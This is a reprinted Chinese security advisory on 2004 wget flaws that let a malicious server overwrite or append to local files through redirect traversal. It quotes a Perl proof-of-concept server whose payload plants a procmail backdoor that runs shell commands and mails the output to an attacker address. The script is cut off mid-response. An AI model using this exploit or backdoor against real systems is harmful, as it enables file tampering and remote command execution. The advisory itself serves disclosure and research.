wget任意文件覆盖追加和建立漏洞

2008-04-09 04:20:31来源：互联网阅读 ()

wget任意文件覆盖追加和建立漏洞

发布日期：2004-12-09
更新日期：2004-12-13

受影响系统：

GNU wget 1.9.1
GNU wget 1.9
GNU wget 1.8.2
GNU wget 1.8.1
GNU wget 1.8

描述：

wget是一款多系统平台下的文件下载工具。

wget存在多个安全问题，远程攻击者可以利用这个漏洞覆盖/建立等系统文件。

问题一是没有判断文件是否可写，在当前目录中不判断文件是否可写。恶意HTTP响应或恶意HTML文件可重定向wget覆盖系统文件：

$ cd /home/user
$ wget http://localhost/wgettrap.bashrc
-> .bashrc

问题二是不正确过滤重定向数据，wget的对HTTP流数据缺少充分过滤，可能导致覆盖系统文件：

# cd /root [1]
# wget -x http://localhost/wgettrap.redirect-1.9
-> ../lib/libc-2.2.5.so [2]

$ cd /foo/bar
$ wget -r http://localhost/wgettrap.redirect-1.8
$ -> ../../../../../../../../../home/jan/.bashrc [1]
-> ../../../../../../../../../var/www/jan/.htaccess

问题三是wget可打印控制字符到终端，恶意HTTP应答可以覆盖终端部分字符而使用户不注意到错误信息。

问题四是wget在处理\0和%-转义控制字符时存在问题，可导致覆盖部分文件：

$ cd /tmp
$ ln -s index.html /path/to/foo
$ wget -x http://localhost/
-> /path/to/foo

<*来源：Jan Minar （jjminar@foo.fastmail.bar.fm）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110269474112384&w=2
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Jan Minar （jjminar@foo.fastmail.bar.fm）提供了如下测试方法：

#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min谩艡 (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this DNS poisoning with wget 1.9 & CVS
#$server = "http://..";

# Wanna know who got infected?
#$log = "/dev/pts/1";

# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc\0This part will be ignored.";

############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick = "/.." . "/.." x 40;

open LOG, ">$log" if $log;

while(<STDIN>){
print LOG $_ if $log;
if (/\Q$trick$filename\E/) {
#if (///) {
# We see the filename, so this is the second time
# they're here. Time to feed the sploit.
$second ;
} elsif (/^Range: bytes=$33$-/) {
# Appending goes like this:
# (1) Tell'em what you're gonna tell'em
# (2) Then tell'em just a half
# (3) Close it
# (4) Wait
# (5) They're comin' back, with wget -c
# (6) Tell'em the sploit
# (7) Close again
# (8) Wtf? They're comin' back with wget -c again
# (9) Tell'em the rest...
# (10) ... enjoying the backdoor at the same time
print LOG "File if $1 bytes long\n" if $log;
} elsif (/^\r?$/) {
# The HTTP headers are over. Let's do it!
$date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
if (!$second) {
# Print the payload
print <<EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
<html><head><title></title></head></html>\r

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有